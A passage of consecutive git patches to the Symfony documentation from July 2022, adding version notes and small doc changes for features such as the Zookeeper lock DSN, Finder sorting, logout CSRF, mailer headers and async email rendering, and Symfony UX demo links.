--- a/doctrine.rst
+++ b/doctrine.rst
@@ -127,11 +127,6 @@ need. The command will ask you some questions - answer them like done below:
     >
     (press enter again to finish)
 
-.. versionadded:: 1.3
-
-    The interactive behavior of the ``make:entity`` command was introduced
-    in MakerBundle 1.3.
-
 Whoa! You now have a new ``src/Entity/Product.php`` file::
 
     // src/Entity/Product.php

From 50562e801ef1f316eb919418b4c44dd35156df32 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:23:21 +0200
Subject: [PATCH 2084/5766] [HttpKernel] Mention the PSR-7 resolver

---
 controller/argument_value_resolver.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index fe9a1a1b00d..49dc3355c9d 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -54,6 +54,12 @@ In addition, some components and official bundles provide other value resolvers:
     can be set to ``null`` in case  the controller can be accessed by anonymous
     users. It requires installing the :doc:`SecurityBundle </security>`.
 
+PSR-7 Objects Resolver:
+    Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
+    of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
+    :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
+    It requires installing :doc:`the PSR-7 Bridge </components/psr7>`_ component.
+
 Adding a Custom Value Resolver
 ------------------------------
 

From 738d12ee722d3567d052cc18df9c1d12bccf3caa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:05:27 +0200
Subject: [PATCH 2085/5766] [Lock] Mention the CSV DSN in ZookeeperStore

---
 lock.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/lock.rst b/lock.rst
index 688bc3b8c0a..73039eb3015 100644
--- a/lock.rst
+++ b/lock.rst
@@ -55,6 +55,7 @@ this behavior by using the ``lock`` key like:
             lock: ['redis://r1.docker', 'redis://r2.docker']
             lock: 'zookeeper://z1.docker'
             lock: 'zookeeper://z1.docker,z2.docker'
+            lock: 'zookeeper://localhost01,localhost02:2181'
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'
             lock: 'mysql:host=127.0.0.1;dbname=app'
             lock: 'pgsql:host=127.0.0.1;dbname=app'
@@ -102,6 +103,8 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>zookeeper://z1.docker,z2.docker</framework:resource>
 
+                    <framework:resource>zookeeper://localhost01,localhost02:2181</framework:resource>
+
                     <framework:resource>sqlite:///%kernel.project_dir%/var/lock.db</framework:resource>
 
                     <framework:resource>mysql:host=127.0.0.1;dbname=app</framework:resource>
@@ -142,6 +145,7 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['redis://r1.docker', 'redis://r2.docker'])
                 ->resource('default', ['zookeeper://z1.docker'])
                 ->resource('default', ['zookeeper://z1.docker,z2.docker'])
+                ->resource('default', ['zookeeper://localhost01,localhost02:2181'])
                 ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
                 ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
@@ -157,6 +161,11 @@ this behavior by using the ``lock`` key like:
             ;
         };
 
+.. versionadded:: 6.1
+
+    The CSV support (e.g. ``zookeeper://localhost01,localhost02:2181``) in
+    ZookeeperStore DSN was introduced in Symfony 6.1.
+
 Locking a Resource
 ------------------
 

From 82013f80cd5d618fc621193e066e579e197b31d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 15:06:00 +0200
Subject: [PATCH 2086/5766] Tweaks

---
 security.rst             | 2 +-
 security/expressions.rst | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index a658f9d5049..8b3ca148529 100644
--- a/security.rst
+++ b/security.rst
@@ -1092,10 +1092,10 @@ Authorization (Denying Access)
 .. toctree::
     :maxdepth: 1
 
-    security/expressions
     security/voters
     security/securing_services
     security/access_control
+    security/expressions
     security/access_denied_handler
     security/acl
     security/force_https
diff --git a/security/expressions.rst b/security/expressions.rst
index e8e17524142..656e54dc520 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -1,8 +1,8 @@
 .. index::
    single: Expressions in the Framework
 
-Complex Access Controls with Expressions
-==================================================
+Using Expressions in Security Access Controls
+=============================================
 
 .. seealso::
 

From e6156e364358ea881e0fdc21ee369681b6615eae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 15:48:49 +0200
Subject: [PATCH 2087/5766] [Finder] Mention the new sortByExtension() and
 sortBySize() methods

---
 components/finder.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index ee6165e15bb..55f010d61b6 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -336,12 +336,17 @@ instance. The file is excluded from the result set if the Closure returns
 Sorting Results
 ---------------
 
-Sort the results by name or by type (directories first, then files)::
+Sort the results by name, extension, size or type (directories first, then files)::
 
     $finder->sortByName();
-
+    $finder->sortByExtension();
+    $finder->sortBySize();
     $finder->sortByType();
 
+.. versionadded:: 6.2
+
+    The ``sortByExtension()`` and ``sortBySize()`` methods were introduced in Symfony 6.2.
+
 .. tip::
 
     By default, the ``sortByName()`` method uses the :phpfunction:`strcmp` PHP

From d10df4fd013573c06d9d31b8077069881fd744ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 15:56:03 +0200
Subject: [PATCH 2088/5766] [Dotenv] Document the debug command filter

---
 configuration.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index abf7dcefb5e..bfc7008cc0a 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -847,6 +847,13 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
      ALICE      BOB     BOB        bob
     ---------- ------- ---------- ------
 
+    # look for a specific variable passing its full or partial name as an argument
+    $ php bin/console debug:dotenv foo
+
+.. versionadded:: 6.2
+
+    The option to pass variable names to ``debug:dotenv`` was introduced in Symfony 6.2.
+
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 

From 28cae48dde8d6972ed7e0a53686598a8c4a01fea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 16:37:21 +0200
Subject: [PATCH 2089/5766] [Form] Mention that choice labels support
 TranslatableInterface objects

---
 reference/forms/types/options/choice_label.rst.inc | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index aa83524ad88..33b5ccbfc54 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,6 +29,12 @@ more control::
         },
     ]);
 
+.. versionadded:: 6.2
+
+    Starting from Symfony 6.2, you can use any object that implements
+    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` as the value
+    of the choice label.
+
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:

From 2344303df4c4793ea8dc26e747fcb78cef0c9203 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 28 Sep 2021 21:04:52 +0200
Subject: [PATCH 2090/5766] [Mailer] Explaining In-Reply-To and References
 header

---
 mailer.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 9f26c769d82..fff3b13b5d2 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -323,10 +323,13 @@ header, etc.) but most of the times you'll set text headers::
 
     $email = (new Email())
         ->getHeaders()
-            // this header tells auto-repliers ("email holiday mode") to not
+            // this non-standard header tells compliant autoresponders ("email holiday mode") to not
             // reply to this message because it's an automated email
             ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
+            // use an array if you want to add a header with multiple values
+            // (for example in the "References" or "In-Reply-To" header)
+            ->addIdHeader('References', ['123@example.com', '456@example.com']);
         // ...
     ;
 

From 85e58bed5f1b141d8a915ce23ab32559bc48f40f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:30:30 +0200
Subject: [PATCH 2091/5766] [Security] Document the enable_csrf logout option

---
 reference/configuration/security.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index daaf60f8c5b..2c12f9c5a84 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -449,6 +449,19 @@ redirect after logout.
 
 .. _reference-security-logout-csrf:
 
+enable_csrf
+~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``null``
+
+Set this option to ``true`` to enable CSRF protection in the logout process
+using Symfony's default CSRF token generator. Set also the ``csrf_token_generator``
+option if you need to use a custom CSRF token generator.
+
+.. versionadded:: 6.2
+
+    The ``enable_csrf`` option was introduced in Symfony 6.2.
+
 csrf_parameter
 ~~~~~~~~~~~~~~
 

From eff62e1dad54dcef3eff905d2ae5011672fd2a2f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:35:25 +0200
Subject: [PATCH 2092/5766] [Security] Reorder the location of the
 delete_cookies option

---
 reference/configuration/security.rst | 151 +++++++++++++--------------
 1 file changed, 75 insertions(+), 76 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index daaf60f8c5b..d09cdcf7151 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -28,7 +28,6 @@ Configuration
 **Basic Options**:
 
 * `access_denied_url`_
-* `delete_cookies`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -52,81 +51,6 @@ access_denied_url
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
 you define a custom access denial handler). Example: ``/no-permission``
 
-delete_cookies
-~~~~~~~~~~~~~~
-
-**type**: ``array`` **default**: ``[]``
-
-Lists the names (and other optional features) of the cookies to delete when the
-user logs out::
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        delete_cookies:
-                            cookie1-name: null
-                            cookie2-name:
-                                path: '/'
-                            cookie3-name:
-                                path: null
-                                domain: example.com
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="...">
-                        <delete-cookie name="cookie1-name"/>
-                        <delete-cookie name="cookie2-name" path="/"/>
-                        <delete-cookie name="cookie3-name" domain="example.com"/>
-                    </logout>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'main' => [
-                    'logout' => [
-                        'delete_cookies' => [
-                            'cookie1-name' => null,
-                            'cookie2-name' => [
-                                'path' => '/',
-                            ],
-                            'cookie3-name' => [
-                                'path' => null,
-                                'domain' => 'example.com',
-                            ],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
-
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 
@@ -418,6 +342,81 @@ redirected to the ``default_target_path`` to avoid a redirection loop.
 
 **Options Related to Logout Configuration**
 
+delete_cookies
+~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+Lists the names (and other optional features) of the cookies to delete when the
+user logs out::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        delete_cookies:
+                            cookie1-name: null
+                            cookie2-name:
+                                path: '/'
+                            cookie3-name:
+                                path: null
+                                domain: example.com
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="...">
+                        <delete-cookie name="cookie1-name"/>
+                        <delete-cookie name="cookie2-name" path="/"/>
+                        <delete-cookie name="cookie3-name" domain="example.com"/>
+                    </logout>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+            'firewalls' => [
+                'main' => [
+                    'logout' => [
+                        'delete_cookies' => [
+                            'cookie1-name' => null,
+                            'cookie2-name' => [
+                                'path' => '/',
+                            ],
+                            'cookie3-name' => [
+                                'path' => null,
+                                'domain' => 'example.com',
+                            ],
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 invalidate_session
 ~~~~~~~~~~~~~~~~~~
 

From 6babc34a6dc2a3f49e5f90f050719081185fb3ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:45:10 +0200
Subject: [PATCH 2093/5766] Tweaks

---
 components/serializer.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2d7a7ca8890..d20c98d39c7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -404,8 +404,7 @@ You are now able to serialize only attributes in the groups you want::
     );
     // $obj2 = MyObj(foo: 'foo', bar: 'bar')
 
-    // You can use `groups` with value `*` to get all groups:
-
+    // To get all groups, use the special value `*` in `groups`
     $obj3 = $serializer->denormalize(
         ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
         'MyObj',
@@ -414,6 +413,10 @@ You are now able to serialize only attributes in the groups you want::
     );
     // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
 
+.. versionadded:: 5.2
+
+    The ``*`` special value for ``groups`` was introduced in Symfony 5.2.
+
 .. _ignoring-attributes-when-serializing:
 
 Selecting Specific Attributes

From bc427da9ceff54e3213869eb2dc18a371b163497 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 17:45:54 +0200
Subject: [PATCH 2094/5766] Remove a versionadded directive

---
 components/serializer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 95dbcacc993..f47d366fe7d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -413,10 +413,6 @@ You are now able to serialize only attributes in the groups you want::
     );
     // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
 
-.. versionadded:: 5.2
-
-    The ``*`` special value for ``groups`` was introduced in Symfony 5.2.
-
 .. _ignoring-attributes-when-serializing:
 
 Selecting Specific Attributes

From 36f1d83f2d8596019e26356e110070b471116398 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 16:21:15 +0200
Subject: [PATCH 2095/5766] [Validator] Document the match option of Choice
 constraint

---
 reference/forms/types/choice.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index c56d081bb2a..8dd942559c7 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -195,6 +195,19 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
 
+match
+~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+When this option is ``false``, the constraint checks that the given value is
+not one of the values defined in the ``choices`` option. In practice, it makes
+the ``Choice`` constraint behave like a ``NotChoice`` constraint.
+
+.. versionadded:: 6.2
+
+    The ``match`` option was introduced in Symfony 6.2.
+
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc

From cd2188a297ea182d1b59d737841b52ffbbf2dc77 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Sat, 23 Jul 2022 22:20:11 +0200
Subject: [PATCH 2096/5766] [HttpFoundation] Add cache option

Add `immutable` cache option
---
 http_cache.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/http_cache.rst b/http_cache.rst
index 0194089b2cc..5bcedb35101 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -356,6 +356,7 @@ Additionally, most cache-related HTTP headers can be set via the single
         's_maxage'      => 10,
         'public'        => true,
         // 'private'    => true,
+        'immutable'      => true,
     ]);
 
 Cache Invalidation

From 2dbdc43d189e21950c7f0b180eed964a5e4a112c Mon Sep 17 00:00:00 2001
From: Javad Adib <8861284+MrJavadAdib@users.noreply.github.com>
Date: Sun, 24 Jul 2022 07:11:03 +0430
Subject: [PATCH 2097/5766] Update broken link of PHPUnit documentation

update to doc v9.5
---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 63764222dbd..22a530b52d9 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1017,12 +1017,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/9.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/9.5/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 959bc5e99c341f299f2558105fe3af332f237172 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 24 Jul 2022 17:54:32 +0200
Subject: [PATCH 2098/5766] [Form] Allow TranslatableInterface to the FormType
 help option

---
 reference/forms/types/options/help.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index b0686c3f82e..f03933293b3 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -1,7 +1,7 @@
 help
 ~~~~
 
-**type**: ``string`` or ``TranslatableMessage`` **default**: null
+**type**: ``string`` or ``TranslatableInterface`` **default**: null
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::

From 59c23cf7f9d98daa75081b8d65cd49d642b96ffc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 08:13:57 +0200
Subject: [PATCH 2099/5766] Minor tweak

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 5bcedb35101..2df148b9a82 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -356,7 +356,7 @@ Additionally, most cache-related HTTP headers can be set via the single
         's_maxage'      => 10,
         'public'        => true,
         // 'private'    => true,
-        'immutable'      => true,
+        'immutable'     => true,
     ]);
 
 Cache Invalidation

From d93617ad58d83da15c779a4c4e8b09ac4f8c2a34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 08:32:39 +0200
Subject: [PATCH 2100/5766] Add the versionadded directive

---
 reference/forms/types/options/help.rst.inc | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index f03933293b3..12398df14b1 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -19,3 +19,8 @@ rendered below the field::
             'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
         ])
     ;
+
+.. versionadded:: 6.2
+
+    The support for ``TranslatableInterface`` objects as help contents was
+    introduced in Symfony 6.2.

From d54600c4f73c3f2a352ee01220a8af6bdb62a564 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 21 Jul 2022 10:46:42 -0400
Subject: [PATCH 2101/5766] Linking to ux.symfony.com

---
 frontend/ux.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/ux.rst b/frontend/ux.rst
index 959d3aab035..86fddf852bc 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -4,6 +4,10 @@
 The Symfony UX Initiative & Packages
 ====================================
 
+.. tip::
+
+    Check out live demos of Symfony UX at `https://ux.symfony.com`_!
+
 Symfony UX is an initiative and set of libraries to seamlessly
 integrate JavaScript tools into your application. For example,
 want to render a chart with `Chart.js`_? Use `UX Chart.js`_ to build the
@@ -148,3 +152,4 @@ the Node package that is responsible for a lot of the magic.
 .. _`@symfony/stimulus-bridge`: https://github.com/symfony/stimulus-bridge
 .. _`stimulus-use`: https://stimulus-use.github.io/stimulus-use
 .. _`stimulus-components`: https://stimulus-components.netlify.app/
+.. _`https://ux.symfony.com`: https://ux.symfony.com

From 65aeaf7c8c0a7dc0500c5cb2d1b12c6a068c1089 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 08:44:42 +0200
Subject: [PATCH 2102/5766] Add links to each Symfony UX component demo

---
 frontend/_ux-libraries.rst.inc | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 40a3e441c8c..aaf03138844 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -1,15 +1,23 @@
-* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any* ``<select>`` element into an Ajax-powered autocomplete field
-* `ux-chartjs`_: Easy charts with `Chart.js`_
-* `ux-cropperjs`_: Form Type and tools for cropping images
+* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any*
+  ``<select>`` element into an Ajax-powered autocomplete field
+  (`see demo <https://ux.symfony.com/autocomplete>`_)
+* `ux-chartjs`_: Easy charts with `Chart.js`_ (`see demo <https://ux.symfony.com/chartjs>`_)
+* `ux-cropperjs`_: Form Type and tools for cropping images (`see demo <https://ux.symfony.com/cropperjs>`_)
 * `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
+   (`see demo <https://ux.symfony.com/dropzone>`_)
 * `ux-lazy-image`_: Optimize Image Loading with BlurHash
+  (`see demo <https://ux.symfony.com/lazy-image>`_)
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
+  (`see demo <https://ux.symfony.com/live-component>`_)
 * `ux-notify`_: Send server-sent native notification with Mercure
-* `ux-react`_: Render `React`_ component from Twig
-* `ux-swup`_: Integration with `Swup`_
+  (`see demo <https://ux.symfony.com/notify>`_)
+* `ux-react`_: Render `React`_ component from Twig (`see demo <https://ux.symfony.com/react>`_)
+* `ux-swup`_: Integration with `Swup`_ (`see demo <https://ux.symfony.com/swup>`_)
 * `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
+  (`see demo <https://ux.symfony.com/turbo>`_)
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
-* `ux-typed`_: Integration with `Typed`_
+  (`see demo <https://ux.symfony.com/twig-component>`_)
+* `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
 
 .. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html

From 58bfc1d53627ff02012634a89ca20175a503938a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 09:01:41 +0200
Subject: [PATCH 2103/5766] [Routing] Fix some internal references links

---
 routing.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index 56eeefcd7fd..13873d7349a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -873,12 +873,13 @@ Special Parameters
 In addition to your own parameters, routes can include any of the following
 special parameters created by Symfony:
 
+.. _routing-format-parameter:
+.. _routing-locale-parameter:
+
 ``_controller``
     This parameter is used to determine which controller and action is executed
     when the route is matched.
 
-.. _routing-format-parameter:
-
 ``_format``
     The matched value is used to set the "request format" of the ``Request`` object.
     This is used for such things as setting the ``Content-Type`` of the response
@@ -888,8 +889,6 @@ special parameters created by Symfony:
     Used to set the fragment identifier, which is the optional last part of a URL that
     starts with a ``#`` character and is used to identify a portion of a document.
 
-.. _routing-locale-parameter:
-
 ``_locale``
     Used to set the :ref:`locale <translation-locale-url>` on the request.
 

From 703ecae51e158cf0eee27243a7fcc7ae08b32703 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Jul 2022 10:56:02 +0200
Subject: [PATCH 2104/5766] Adding missing `use`s

---
 form/create_custom_field_type.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2d13673be33..c88c11fcd3f 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -148,7 +148,7 @@ These are the most important methods that a form type class can define:
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
-    recommended to use instead the ``buildView()`` method.
+    recommended to use ``buildView()`` instead.
 
 ``getParent()``
     If your custom type is based on another type (i.e. they share some
@@ -471,6 +471,8 @@ defined by the form or be completely independent::
     namespace App\Form\Type;
 
     use Doctrine\ORM\EntityManagerInterface;
+    use Symfony\Component\Form\FormInterface;
+    use Symfony\Component\Form\FormView;
     // ...
 
     class PostalAddressType extends AbstractType

From 4fbbc16f7146d562089de5d322070aa831a3bf1b Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 27 Jul 2022 10:16:52 +0200
Subject: [PATCH 2105/5766] Add more information about sending email async

---
 mailer.rst | 33 +++++++++++++++++++++++++++++++--
 1 file changed, 31 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index eb291b0e022..3e769eeb535 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1204,9 +1204,38 @@ you have a transport called ``async``, you can route the message there:
                 ->senders(['async']);
         };
 
+Thanks to this, instead of being delivered immediately, messages will be sent
+to the transport to be handled later (see :ref:`messenger-worker`). Note that
+the "rendering" of the email (computed headers, body rendering, ...) is also
+deferred and will only happen just before the email is sent by the Messenger
+handler.
 
-Thanks to this, instead of being delivered immediately, messages will be sent to
-the transport to be handled later (see :ref:`messenger-worker`).
+.. versionadded:: 6.2
+
+    The following example about rendering the email before calling
+    ``$mailer->send($email)`` works as of Symfony 6.2.
+
+When sending an email asynchronously, its instance must be serializable.
+This is always the case for :class:`Symfony\\Bridge\\Twig\\Mime\\Email`
+instances, but when sending a
+:class:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail`, you must ensure that
+the ``context`` is serializable. If you have non-serializable variables,
+like Doctrine entities, either replace them with more specific variables or
+render the email before calling ``$mailer->send($email)``::
+
+    use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Component\Mime\BodyRendererInterface;
+
+    public function action(MailerInterface $mailer, BodyRendererInterface $bodyRenderer)
+    {
+        $email = (new TemplatedEmail())
+            ->htmlTemplate($template)
+            ->context($context)
+        ;
+        $bodyRenderer->render($email);
+
+        $mailer->send($email);
+    }
 
 You can configure which bus is used to dispatch the message using the ``message_bus`` option.
 You can also set this to ``false`` to call the Mailer transport directly and

From 7ddff2f8fd3ab9b8e951b334c7cd282d57f49215 Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Wed, 27 Jul 2022 15:32:50 +0300
